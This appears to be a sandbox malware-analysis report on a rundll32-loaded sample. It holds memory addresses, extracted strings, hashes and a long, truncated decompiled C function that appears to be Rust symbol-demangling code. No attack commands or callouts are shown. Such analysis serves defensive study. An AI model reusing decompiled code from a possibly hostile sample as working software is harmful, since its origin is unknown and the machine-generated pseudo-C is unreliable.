0x029d3f17
0x029d3f22
0x029d3f2d
0x029d3f35
0x029d3f3d
0x029d3f45
0x029d3f4a
0x029d3f52
0x029d3f5d
0x029d3f68
0x029d3f73
0x029d3f7b
0x029d3f83
0x029d3f88
0x029d3f90
0x029d3f97
0x029d3f9e
0x029d3fa5
0x029d3fb0
0x029d3fb8
0x029d3fc3
0x029d3fce
0x029d3fd6
0x029d3fe1
0x029d3fe9
0x029d3fee
0x029d3ff6
0x029d3ffe
0x029d3ffe
0x029d4000
0x029d4001
0x029d4001
0x029d4001
0x029d4001
0x029d4007
0x00000000
0x00000000
0x029d400d
0x029d410c
0x029d4114
0x029d4114
0x029d4117
0x00000000
0x00000000
0x029d4111
0x029d4111
0x029d4111
0x029d4119
0x029d411c
0x00000000
0x029d4013
0x029d4019
0x029d40e8
0x029d40ea
0x029d40ed
0x029d40ef
0x00000000
0x029d40f1
0x029d40f1
0x029d40f6
0x029d3ffe
0x029d3ffe
0x029d4000
0x00000000
0x029d4000
0x029d3ffe
0x029d401b
0x029d4021
0x029d4250
0x029d4027
0x029d402d
0x029d4083
0x029d4089
0x029d4089
0x029d3ffe
0x029d3ffe
0x029d4000
0x00000000
0x029d4000
0x029d402f
0x029d4035
0x00000000
0x029d403b
0x029d403b
0x029d4067
0x029d406c
0x029d406f
0x029d3ffe
0x029d3ffe
0x029d4000
0x00000000
0x029d4000
0x029d3ffe
0x029d4035
0x029d402d
0x029d4021
0x029d4019
0x029d4256
0x029d4267
0x029d4267
0x029d4126
0x029d412c
0x029d421a
0x029d421c
0x029d421f
0x029d4221
0x029d422f
0x029d4234
0x00000000
0x029d4223
0x029d4223
0x00000000
0x029d4223
0x029d4132
0x029d4132
0x029d4138
0x029d4178
0x029d417d
0x029d418b
0x029d41df
0x029d41f4
0x029d41f9
0x029d41fc
0x029d3ffe
0x029d3ffe
0x029d4000
0x00000000
0x029d4000
0x029d413a
0x029d413a
0x029d4140
0x00000000
0x029d4146
0x029d415b
0x029d4160
0x029d4163
0x029d3ffe
0x029d3ffe
0x029d4000
0x00000000
0x029d4000
0x029d3ffe
0x029d4140
0x029d4138
0x00000000
0x029d4235
0x029d4235
0x029d4235
0x00000000
0x029d4241

Strings

:O, xrefs: 029D3BED
S!>, xrefs: 029D413A
5L, xrefs: 029D3FE1
E"M, xrefs: 029D41FC
IiS, xrefs: 029D3D8B
y\, xrefs: 029D4126
B|!, xrefs: 029D3E76
E, xrefs: 029D3D73
[^, xrefs: 029D3FD6
S!>, xrefs: 029D40F1
yxO, xrefs: 029D3B66
y\, xrefs: 029D411C
/t6, xrefs: 029D3F68
E"M, xrefs: 029D4001

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: y\$y\$5L$:O$B|!$E"M$E"M$E$IiS$S!>$S!>$[^$yxO$/t6
API String ID: 1889721586-1388136749
Opcode ID: a0cf3691f1908f933010a28155d883edca8ee77df8638c357feee24d9d324903
Instruction ID: aa7c67df5e8b6221238b838a5dd16863a01d71379f2194e1abe8ab8410033667
Opcode Fuzzy Hash: a0cf3691f1908f933010a28155d883edca8ee77df8638c357feee24d9d324903
Instruction Fuzzy Hash: 500234B15083809FD3A4CF61C54AA5BBBE2FBD4358F10891CF2DA96260C7B58549DF43

Uniqueness

Uniqueness Score: -1.00%

Function 6E9FA6D0, Relevance: 15.7, Strings: 11, Instructions: 1959
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6E9FA6D0(void* __ebx, signed int* __ecx, signed int __edx, signed int __edi, void* __esi, void* __eflags, signed int _a4, intOrPtr _a20, intOrPtr _a24) {
				char _v2;
				signed char _v3;
				void* _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v68;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				signed int* _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v192;
				char _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				intOrPtr _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _t546;
				signed int _t551;
				signed int* _t552;
				intOrPtr _t553;
				intOrPtr* _t556;
				intOrPtr _t557;
				signed int _t558;
				signed int _t565;
				signed char _t566;
				void* _t567;
				signed char* _t568;
				signed char* _t570;
				signed int _t572;
				signed int _t574;
				signed char _t575;
				signed int _t577;
				void* _t580;
				signed int _t581;
				signed int _t583;
				signed int _t587;
				void* _t589;
				signed int _t596;
				signed int _t597;
				signed char _t598;
				signed int _t599;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed char* _t606;
				signed int _t607;
				signed int _t609;
				signed int _t612;
				char* _t617;
				signed int _t618;
				signed int _t626;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t634;
				signed int _t636;
				signed int _t642;
				signed int _t643;
				void* _t645;
				signed int _t646;
				signed int _t647;
				signed int _t651;
				signed int _t652;
				signed char* _t653;
				signed char* _t654;
				signed char* _t656;
				signed int _t657;
				signed int _t659;
				signed int _t661;
				signed int _t662;
				void* _t665;
				signed int _t669;
				signed char* _t670;
				signed int* _t675;
				signed int _t676;
				signed char _t685;
				intOrPtr _t689;
				intOrPtr* _t691;
				signed int _t692;
				signed int _t694;
				signed int _t696;
				signed int _t699;
				signed int _t700;
				signed int _t704;
				signed int _t706;
				signed int _t711;
				signed int _t713;
				signed int _t716;
				signed int _t725;
				signed int _t729;
				intOrPtr _t749;
				signed int _t751;
				intOrPtr _t755;
				signed int _t758;
				signed int _t762;
				signed char _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t769;
				signed int _t772;
				signed char* _t775;
				signed int _t776;
				signed int _t779;
				signed int _t780;
				signed char _t781;
				signed char _t783;
				signed int _t784;
				signed int _t785;
				signed char _t786;
				signed char _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t793;
				signed int _t797;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t812;
				signed int _t815;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed char* _t826;
				signed int _t831;
				signed int _t833;
				signed int _t841;
				void* _t842;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t849;
				signed int _t852;
				signed int _t853;
				signed char* _t859;
				signed int _t860;
				signed int _t863;
				signed int _t866;
				signed int _t867;
				signed char* _t868;
				signed int _t881;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t892;
				signed int _t894;
				signed int _t895;
				void* _t896;
				signed char _t897;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				void* _t904;
				signed int _t905;
				void* _t906;
				signed char _t907;
				intOrPtr _t910;
				signed int _t911;
				void* _t913;
				signed int _t916;
				signed int _t918;
				signed int _t920;
				signed int _t921;
				signed int _t923;
				signed int _t925;
				signed int _t927;
				signed int _t928;
				signed int _t929;
				signed char* _t930;
				signed char _t932;
				signed int _t933;
				signed int _t935;
				signed int _t941;
				signed int _t943;
				signed int _t945;
				signed char _t950;
				signed char _t952;
				signed int _t953;
				signed int _t956;
				signed int _t963;
				signed char* _t964;
				signed char _t967;
				signed int _t968;
				signed int _t970;
				signed int _t971;
				signed int _t973;
				signed int _t981;
				signed int _t982;
				signed int _t983;
				signed int _t984;
				signed int _t985;
				signed int _t988;
				signed int _t989;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t996;
				signed int _t997;
				signed int _t998;
				signed int _t1001;
				signed int _t1003;
				signed int _t1004;
				signed char* _t1010;
				signed char* _t1011;
				signed char* _t1012;
				signed int _t1015;
				signed int _t1017;
				signed int _t1019;
				signed int _t1020;
				signed int _t1022;
				signed int _t1025;
				signed int _t1029;
				signed int _t1030;
				signed int _t1032;
				signed int _t1037;
				signed int _t1042;
				signed int _t1044;
				signed int _t1047;
				signed int _t1048;
				signed int _t1050;
				signed int _t1051;
				signed int _t1055;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1065;
				signed int _t1066;
				signed char* _t1069;
				signed int _t1070;
				signed char* _t1076;
				signed char* _t1077;
				signed int _t1085;
				signed int _t1087;
				signed int _t1100;
				signed int _t1103;
				signed int _t1105;
				signed int _t1109;
				signed char* _t1112;
				signed int _t1113;
				signed int _t1114;
				signed int _t1116;
				signed int _t1119;
				signed int _t1121;
				void* _t1124;
				void* _t1127;
				void* _t1142;

				_t998 = __edi;
				_t1100 = _t1121;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_v108 = __ecx;
				_v152 = __edx;
				_push(6);
				_push(".llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy");
				_push(_a4);
				E6E9F38C0( &_v104, __edx);
				_t1124 = (_t1121 & 0xfffffff8) - 0x98 + 0xc;
				if(_v104 != 1) {
					_t1055 =  &_v32;
					asm("o16 nop [cs:eax+eax]");
					do {
						E6E9F8B60( &_v104, _t1055,  &_v104, __edi, _t1055);
						_t546 = _v32;
						__eflags = _t546 - 1;
					} while (_t546 == 1);
					__eflags = _t546;
					if(_t546 != 0) {
						goto L71;
					} else {
						_t998 = _v28;
						goto L39;
					}
				} else {
					_t711 = _v68;
					_t1055 = _v56;
					_t989 = _v52;
					_v164 = _t711;
					_v148 = _t1055;
					_v160 = _v48;
					_t713 = _v44;
					_v144 = _t713;
					if(_t711 == 0xffffffff) {
						_t998 = _v76;
						_t896 = _t998 + _t713 - 1;
						__eflags = _t896 - _t989;
						if(_t896 < _t989) {
							_v156 = _t989;
							_v112 = _v96;
							_v116 = _v92;
							_t716 = _v88;
							__eflags = _t716 - _v144;
							_t792 =  >  ? _t716 : _v144;
							_v124 =  >  ? _t716 : _v144;
							_t793 = _v160;
							_v128 = _t793 + _t716 - 1;
							_t991 = _t716;
							_v160 = _t793 + _t716;
							_t758 = _v156;
							_v164 = _t991;
							_v36 = _v80;
							_v120 = _v144 - 1;
							_v132 = _t991 - 1;
							_v136 = _t991 + _t1055;
							do {
								_t897 =  *((intOrPtr*)(_t1055 + _t896));
								__eflags = _t897 & 0x00000020;
								_t723 =  !=  ? 1 : 0xbadbad << _t897;
								_t1090 =  !=  ? 0 : 1 << _t897;
								_t724 = ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								_t1091 = ( !=  ? 0 : 1 << _t897) & _v112;
								_t1092 = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								__eflags = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								if((( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116) == 0) {
									_t1050 = _t998 + _v144;
									__eflags = _t1050;
									_t725 = _t1050;
									goto L25;
								} else {
									_t900 = _v124;
									_t1055 = _v160;
									_v140 = _t998;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										__eflags = _v164 - _t900;
										if(_v164 == _t900) {
											break;
										}
										__eflags = _v164 + _t998 - _t758;
										if(_v164 + _t998 >= _t758) {
											_t916 = _t758;
											_t904 = _v140 + _v164;
											__eflags = _t758 - _t904;
											_t902 =  >  ? _t758 : _t904;
											goto L229;
										} else {
											_t994 =  *_t1055 & 0x000000ff;
											_t1055 = _t1055 + 1;
											_t900 = _t900 - 1;
											__eflags = _t994 -  *((intOrPtr*)(_v136 + _t998));
											_t725 = _t998 + 1;
											_t998 = _t725;
											if(__eflags == 0) {
												continue;
											} else {
												goto L25;
											}
										}
										goto L498;
									}
									_t901 = _v132;
									__eflags = _t901 - _v144;
									if(_t901 >= _v144) {
										__eflags = _v164;
										_t998 = _v140;
										if(__eflags == 0) {
											goto L39;
										} else {
											_t902 = _v132;
											goto L234;
										}
									} else {
										_t1055 = _v128;
										_t1051 = _v164;
										_t902 = _t901 + _v140;
										__eflags = _t902;
										while(1) {
											_t998 = _t1051 - 1;
											__eflags = _t998;
											if(_t998 < 0) {
												break;
											}
											__eflags = _t902 - _t758;
											if(__eflags >= 0) {
												_t916 = _t758;
												_push(0x6ea3f710);
												goto L235;
											} else {
												_t729 =  *_t1055 & 0x000000ff;
												_t1055 = _t1055 - 1;
												__eflags = _t729 -  *((intOrPtr*)(_v148 + _t902));
												_t758 = _v156;
												_t902 = _t902 - 1;
												if(__eflags == 0) {
													continue;
												} else {
													_t725 = _v140 + _v36;
													goto L25;
												}
											}
											goto L498;
										}
										_t998 = _v140;
										goto L39;
									}
								}
								goto L498;
								L25:
								_t1055 = _v148;
								_t998 = _t725;
								_t896 = _v120 + _t725;
								__eflags = _t896 - _t758;
							} while (_t896 < _t758);
						}
						goto L71;
					} else {
						_t905 = _v76;
						_t998 = _t905;
						_t906 = _t905 + _t713 - 1;
						if(_t906 >= _t989) {
							L71:
							_t916 = _v152;
							_v160 = _a4;
							goto L72;
						} else {
							_t797 = _v80;
							_v156 = _t989;
							_v140 = _v96;
							_v132 = _t797;
							_v136 = _v88;
							_v128 = _v144 - _t797;
							_v124 =  ~_v136;
							_v112 = _v92;
							_v116 = _v144 - 1;
							do {
								_t907 =  *((intOrPtr*)(_t1055 + _t906));
								_t758 = _t1055;
								_t745 =  !=  ? 1 : 0xbadbad << _t907;
								_t1095 =  !=  ? 0 : 1 << _t907;
								_t746 = ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1096 = ( !=  ? 0 : 1 << _t907) & _v140;
								_t1097 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1137 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								if((( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112) == 0) {
									_t998 = _t998 + _v144;
									__eflags = _t998;
									_v164 = 0;
									goto L9;
								} else {
									_t995 = _t998;
									_t998 = _t998 + _t758;
									_t749 =  >  ? _v136 : _v164;
									_t910 = _t749;
									_v120 = _t749;
									_t1055 =  >  ? _t749 : _v144;
									while(_t1055 != _t910) {
										if(_t995 + _t910 >= _v156) {
											_t913 = _v120 + _t995;
											_t916 = _v156;
											__eflags = _t916 - _t913;
											_t902 =  >  ? _t916 : _t913;
											L229:
											_push(0x6ea3f6f0);
											L235:
											E6EA19360(_t758, _t902, _t916, _t998, _t1055, __eflags);
											_t1124 = _t1124 + 4;
											asm("ud2");
											L236:
											_t809 = _t916;
											_t917 = _v160;
											_push(0x6ea3f148);
											_push(_v160);
											_push(1);
											L242:
											E6EA19620(_t809, _t917);
											asm("ud2");
											_push(_t1100);
											_push(_t758);
											_push(_t998);
											_push(_t1055);
											_t1127 = _t1124 + 0xc - 0x50;
											_t918 = _v160;
											_t556 =  *_v164;
											__eflags =  *_t556 - 1;
											if( *_t556 != 1) {
												_v252 =  *((intOrPtr*)(_t556 + 4));
												_t557 =  *((intOrPtr*)(_t556 + 0xc));
												_v244 =  *((intOrPtr*)(_t556 + 8));
												_t812 = 0;
												_v232 = _t557;
												while(1) {
													L246:
													__eflags = _t812 - _t557;
													_v248 = _t812;
													if(_t812 == _t557) {
														break;
													}
													__eflags = _v244;
													if(__eflags == 0) {
														L473:
														E6EA194E0(_t758, "called `Option::unwrap()` on a `None` value", 0x2b, _t998, _t1055, __eflags, 0x6ea3efc0);
														_t1127 = _t1127 + 4;
														asm("ud2");
														L474:
														_t920 = 1;
														L475:
														_v224 = _t920;
														_t921 = 0x2b;
														E6EA195A0(_t758, "called `Result::unwrap()` on an `Err` value", 0x2b, __eflags,  &_v224, 0x6ea3eef4, 0x6ea3eff0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L476:
														_t815 = _t998;
														_push(0x6ea3efd0);
														L477:
														_push(_t921);
														_push(1);
														E6EA19620(_t815, _t921);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L478:
														E6EA19620(_t815, _v244, 0, _t758, 0x6ea3efe0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L479:
														_t920 = 0;
														goto L475;
													}
													_t998 = _v252;
													_t921 = _v244;
													_t565 = _v248 + 1;
													__eflags = _t565;
													_v228 = _t565;
													_v260 = _t998 + _t921;
													asm("o16 nop [cs:eax+eax]");
													while(1) {
														_t566 =  *_t998 & 0x000000ff;
														_t1058 = _t566 & 0x000000ff;
														__eflags = _t566;
														_v256 = _t566;
														if(_t566 < 0) {
														}
														L250:
														_t860 = _t998;
														_t1015 = _v260;
														_t1105 = 0;
														_t662 = _t921;
														__eflags = _t921 - 1;
														_t758 = _t1015;
														if(_t921 != 1) {
															_t758 = _t860 + 2;
															_t1105 =  *(_t860 + 1) & 0x3f;
															__eflags = _t1105;
														}
														_t1065 = _t1058 & 0x0000001f;
														__eflags = _v256 - 0xdf;
														if(_v256 <= 0xdf) {
															_t1066 = _t1065 << 6;
															goto L260;
														} else {
															__eflags = _t758 - _t1015;
															if(_t758 == _t1015) {
																_t758 = _t1015;
																_t1105 = _t1105 << 6;
																__eflags = _v256 - 0xf0;
																if(_v256 >= 0xf0) {
																	goto L255;
																} else {
																	goto L259;
																}
															} else {
																_t1017 =  *_t758 & 0x000000ff;
																_t758 = _t758 + 1;
																_t1105 = _t1105 << 0x00000006 | _t1017 & 0x0000003f;
																__eflags = _v256 - 0xf0;
																if(_v256 < 0xf0) {
																	L259:
																	_t1066 = _t1065 << 0xc;
																	__eflags = _t1066;
																	L260:
																	_t1058 = _t1066 | _t1105;
																	_t998 = _t860;
																	_t921 = _t662;
																} else {
																	L255:
																	__eflags = _t758 - _v260;
																	if(_t758 == _v260) {
																		_t758 = 0;
																		__eflags = 0;
																	} else {
																		_t758 =  *_t758 & 0x3f;
																	}
																	_t998 = _t860;
																	_t921 = _t662;
																	_t1109 = _t1105 << 0x00000006 | (_t1065 & 0x00000007) << 0x00000012 | _t758;
																	__eflags = _t1109 - 0x110000;
																	_t1055 = _t1109;
																	if(__eflags == 0) {
																		goto L473;
																	}
																	asm("o16 nop [cs:eax+eax]");
																}
															}
														}
														L264:
														_t1055 = _t1058 + 0xffffffd0;
														_t1103 = _t998 + 1;
														__eflags = _t1055 - 0xa;
														if(_t1055 < 0xa) {
															__eflags = _t921 - 2;
															if(__eflags < 0) {
																goto L473;
															}
															__eflags =  *_t1103 - 0xbf;
															if( *_t1103 <= 0xbf) {
																goto L476;
															}
															_t921 = _t921 - 1;
															_t998 = _t1103;
															_t566 =  *_t998 & 0x000000ff;
															_t1058 = _t566 & 0x000000ff;
															__eflags = _t566;
															_v256 = _t566;
															if(_t566 < 0) {
															}
															goto L264;
														}
														_v260 = _t921;
														_t758 = _v244 - _t921;
														__eflags = _t758;
														if(__eflags == 0) {
															goto L479;
														}
														_t815 = _v252;
														if(__eflags < 0) {
															goto L478;
														}
														__eflags =  *((char*)(_t815 + _t758)) - 0xc0;
														if( *((char*)(_t815 + _t758)) < 0xc0) {
															goto L478;
														}
														_t567 =  *_t815;
														_v264 = _t998;
														__eflags = _t567 - 0x2d;
														if(_t567 == 0x2d) {
															_t568 = _v252;
															__eflags = _t758 - 1;
															if(__eflags == 0) {
																goto L474;
															}
														} else {
															__eflags = _t567 - 0x2b;
															if(_t567 != 0x2b) {
																_t568 = _v252;
															} else {
																_t661 = _v252;
																_t758 = _t758 - 1;
																__eflags = _t758;
																if(__eflags == 0) {
																	goto L474;
																}
																_t568 = _t661 + 1;
															}
														}
														_t1059 = 0;
														asm("o16 nop [cs:eax+eax]");
														while(1) {
															__eflags = _t758;
															if(_t758 == 0) {
																break;
															}
															_t998 = ( *_t568 & 0x000000ff) + 0xffffffd0;
															__eflags = _t998 - 9;
															if(__eflags > 0) {
																goto L474;
															}
															_t859 = _t568;
															_t659 = _t1059 * 0xa;
															__eflags = _t659;
															_t920 = 2;
															if(__eflags < 0) {
																goto L475;
															}
															_t758 = _t758 - 1;
															_t568 =  &(_t859[1]);
															_t1059 = _t659 + _t998;
															__eflags = _t1059;
															if(__eflags >= 0) {
																continue;
															} else {
																goto L475;
															}
															goto L498;
														}
														__eflags = _t1059;
														if(_t1059 == 0) {
															_t762 = _v260;
															_v252 = _v264;
															_t570 = _v160;
															__eflags =  *_t570 & 0x00000004;
															if(( *_t570 & 0x00000004) != 0) {
																goto L294;
															} else {
																goto L320;
															}
														} else {
															_t758 = _v260;
															__eflags = _t758 - _t1059;
															if(__eflags <= 0) {
																if(__eflags != 0) {
																	goto L480;
																} else {
																	_t825 = _v264;
																	__eflags = _t758 - _t1059;
																	if(_t758 != _t1059) {
																		goto L481;
																	} else {
																		goto L293;
																	}
																}
															} else {
																_t657 = _v264;
																__eflags =  *((char*)(_t657 + _t1059)) - 0xbf;
																if( *((char*)(_t657 + _t1059)) <= 0xbf) {
																	L480:
																	_t820 = _v264;
																	_t924 = _t758;
																	_push(0x6ea3f000);
																	_push(_t758);
																	goto L488;
																} else {
																	_t825 = _v264;
																	__eflags =  *((char*)(_t825 + _t1059)) - 0xbf;
																	if( *((char*)(_t825 + _t1059)) > 0xbf) {
																		L293:
																		_v252 = _t825 + _t1059;
																		_t656 = _v160;
																		__eflags =  *_t656 & 0x00000004;
																		if(( *_t656 & 0x00000004) == 0) {
																			L320:
																			__eflags = _v248;
																			if(_v248 == 0) {
																				L322:
																				__eflags = _t1059 - 2;
																				if(_t1059 < 2) {
																					L324:
																					_t998 = _t1059;
																					goto L325;
																				} else {
																					__eflags = ( *_v264 & 0x0000ffff) - 0x245f;
																					if(( *_v264 & 0x0000ffff) == 0x245f) {
																						__eflags =  *_t1103 - 0xbf;
																						if( *_t1103 <= 0xbf) {
																							_t825 = _v264;
																							_t927 = _t1059;
																							_push(0x6ea3f024);
																							goto L484;
																						} else {
																							_t535 = _t1059 - 1; // -1
																							_t998 = _t535;
																							_v264 = _t1103;
																							L325:
																							_t758 = _t762 - _t1059;
																							__eflags = _t758;
																							_t1055 = _v264;
																							_v244 = _t758;
																							while(1) {
																								L326:
																								__eflags = _t998;
																								_v264 = _t1055;
																								if(_t998 == 0) {
																									break;
																								}
																								_t580 =  *_t1055;
																								__eflags = _t580 - 0x24;
																								if(_t580 == 0x24) {
																									__eflags = _t998 - 2;
																									if(_t998 < 2) {
																										L361:
																										_t1055 = _t1055 + 1;
																										_t449 = _t998 - 1; // -1
																										_t581 = _t449;
																										_t924 =  &_v224;
																										_v260 = _t998;
																										_v224 = _t1055;
																										_v220 = _t581;
																										_v216 = 0;
																										_v212 = _t581;
																										_v208 = 0x24;
																										_v204 = 1;
																										_v200 = 0x24;
																										E6E9F48F0( &_v196,  &_v224);
																										__eflags = _v196 - 1;
																										if(_v196 != 1) {
																											L245:
																											_t574 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _v264, _v260);
																											_t1127 = _t1127 + 0xc;
																											__eflags = _t574;
																											_t557 = _v232;
																											_t812 = _v228;
																											if(_t574 != 0) {
																												goto L472;
																											} else {
																												goto L246;
																											}
																										} else {
																											_t820 = _v192;
																											__eflags = _t820 - 0xffffffff;
																											if(__eflags == 0) {
																												goto L489;
																											} else {
																												_t924 = _v260;
																												_t589 = _t820 + 1;
																												__eflags = _t924 - 2;
																												if(_t924 < 2) {
																													L365:
																													__eflags = _t589 - _t924;
																													_v256 = _t820;
																													if(__eflags >= 0) {
																														if(__eflags != 0) {
																															goto L482;
																														} else {
																															_t583 = _t820 + 2;
																															__eflags = _t583;
																															if(_t583 == 0) {
																																_v240 = _t924;
																																_v236 = _v264;
																																goto L408;
																															} else {
																																goto L381;
																															}
																														}
																													} else {
																														_t844 = _v264;
																														__eflags =  *((char*)(_t844 + _t589)) - 0xc0;
																														_t845 = _v256;
																														if( *((char*)(_t844 + _t589)) < 0xc0) {
																															goto L482;
																														} else {
																															_t583 = _t845 + 2;
																															L381:
																															_t1001 = _t924 - _t583;
																															__eflags = _t1001;
																															if(__eflags <= 0) {
																																_t820 = _v264;
																																if(__eflags != 0) {
																																	goto L490;
																																} else {
																																	goto L385;
																																}
																															} else {
																																_t820 = _v264;
																																__eflags =  *((char*)(_t820 + _t583)) - 0xbf;
																																if( *((char*)(_t820 + _t583)) > 0xbf) {
																																	L385:
																																	_t841 = _v256;
																																	_v236 = _t583 + _t820;
																																	__eflags = _t841 - 1;
																																	if(_t841 == 1) {
																																		_t842 =  *_t1055;
																																		_t617 = 0x6ea3f09c;
																																		__eflags = _t842 - 0x43;
																																		if(_t842 == 0x43) {
																																			goto L466;
																																		} else {
																																			__eflags = _t842 - 0x75;
																																			_v240 = _t1001;
																																			if(_t842 == 0x75) {
																																				goto L410;
																																			} else {
																																				goto L245;
																																			}
																																		}
																																	} else {
																																		__eflags = _t841 - 2;
																																		if(_t841 == 2) {
																																			__eflags = ( *_t1055 & 0x0000ffff) - 0x5053;
																																			if(( *_t1055 & 0x0000ffff) == 0x5053) {
																																				_t617 = "@*&<>()C,";
																																				goto L466;
																																			} else {
																																				__eflags = ( *_t1055 & 0x0000ffff) - 0x5042;
																																				if(( *_t1055 & 0x0000ffff) == 0x5042) {
																																					_t617 = "*&<>()C,";
																																					goto L466;
																																				} else {
																																					__eflags = ( *_t1055 & 0x0000ffff) - 0x4652;
																																					if(( *_t1055 & 0x0000ffff) == 0x4652) {
																																						_t617 =  &M6EA3F096;
																																						goto L466;
																																					} else {
																																						__eflags = ( *_t1055 & 0x0000ffff) - 0x544c;
																																						if(( *_t1055 & 0x0000ffff) == 0x544c) {
																																							_t617 = "<>()C,";
																																							goto L466;
																																						} else {
																																							__eflags = ( *_t1055 & 0x0000ffff) - 0x5447;
																																							if(( *_t1055 & 0x0000ffff) == 0x5447) {
																																								_t617 = 0x6ea3f098;
																																								goto L466;
																																							} else {
																																								__eflags = ( *_t1055 & 0x0000ffff) - 0x504c;
																																								if(( *_t1055 & 0x0000ffff) == 0x504c) {
																																									_t617 = 0x6ea3f099;
																																									goto L466;
																																								} else {
																																									__eflags = ( *_t1055 & 0x0000ffff) - 0x5052;
																																									if(( *_t1055 & 0x0000ffff) == 0x5052) {
																																										_t617 = 0x6ea3f09a;
																																										L466:
																																										_t618 =  *((intOrPtr*)(_a24 + 0xc))(_a20, _t617, 1);
																																										_t1127 = _t1127 + 0xc;
																																										__eflags = _t618;
																																										_t603 = _v236;
																																										if(_t618 != 0) {
																																											goto L472;
																																										} else {
																																											goto L467;
																																										}
																																									} else {
																																										_v240 = _t1001;
																																										goto L408;
																																									}
																																								}
																																							}
																																						}
																																					}
																																				}
																																			}
																																		} else {
																																			__eflags = _t841;
																																			_v240 = _t1001;
																																			if(_t841 != 0) {
																																				L408:
																																				__eflags =  *_t1055 - 0x75;
																																				if( *_t1055 != 0x75) {
																																					goto L245;
																																				} else {
																																					_t596 = _v264;
																																					__eflags =  *((char*)(_t596 + 2)) - 0xbf;
																																					if( *((char*)(_t596 + 2)) <= 0xbf) {
																																						_t921 = _v256;
																																						_t815 = _t1055;
																																						_push(0x6ea3f0a0);
																																						goto L477;
																																					}
																																					L410:
																																					_t597 = _v264;
																																					_t929 = _v256;
																																					_t826 = _t597 + 2;
																																					_t1055 = _t929 - 1;
																																					_t930 = _t597 + _t929 + 1;
																																					_t1112 = _t826;
																																					_v248 = _t930;
																																					while(1) {
																																						__eflags = _t1112 - _t930;
																																						if(_t1112 == _t930) {
																																							break;
																																						}
																																						_t764 =  *_t1112 & 0x000000ff;
																																						_t502 =  &_v3; // 0xc0
																																						_t606 = _t502;
																																						_t1003 = _t764 & 0x000000ff;
																																						__eflags = _t764;
																																						if(_t764 < 0) {
																																							__eflags = _t606 - _t930;
																																							if(_t606 == _t930) {
																																								_t607 = 0;
																																								_t1112 = _t930;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 > 0xdf) {
																																									goto L416;
																																								} else {
																																									goto L421;
																																								}
																																							} else {
																																								_t1112 =  &_v2;
																																								_t607 = _v3 & 0x3f;
																																								_t1004 = _t1003 & 0x0000001f;
																																								__eflags = _t764 - 0xdf;
																																								if(_t764 <= 0xdf) {
																																									L421:
																																									_t998 = _t1004 << 0x00000006 | _t607;
																																									goto L427;
																																								} else {
																																									L416:
																																									__eflags = _t1112 - _t930;
																																									if(_t1112 == _t930) {
																																										_t1112 = _t930;
																																										_t609 = _t607 << 6;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 >= 0xf0) {
																																											goto L418;
																																										} else {
																																											goto L423;
																																										}
																																									} else {
																																										_t943 =  *_t1112 & 0x000000ff;
																																										_t1112 =  &_v3;
																																										_t609 = _t607 << 0x00000006 | _t943 & 0x0000003f;
																																										__eflags = _t764 - 0xf0;
																																										if(_t764 < 0xf0) {
																																											L423:
																																											_t930 = _v248;
																																											_t998 = _t1004 << 0x0000000c | _t609;
																																											goto L427;
																																										} else {
																																											L418:
																																											_t930 = _v248;
																																											__eflags = _t1112 - _t930;
																																											if(_t1112 == _t930) {
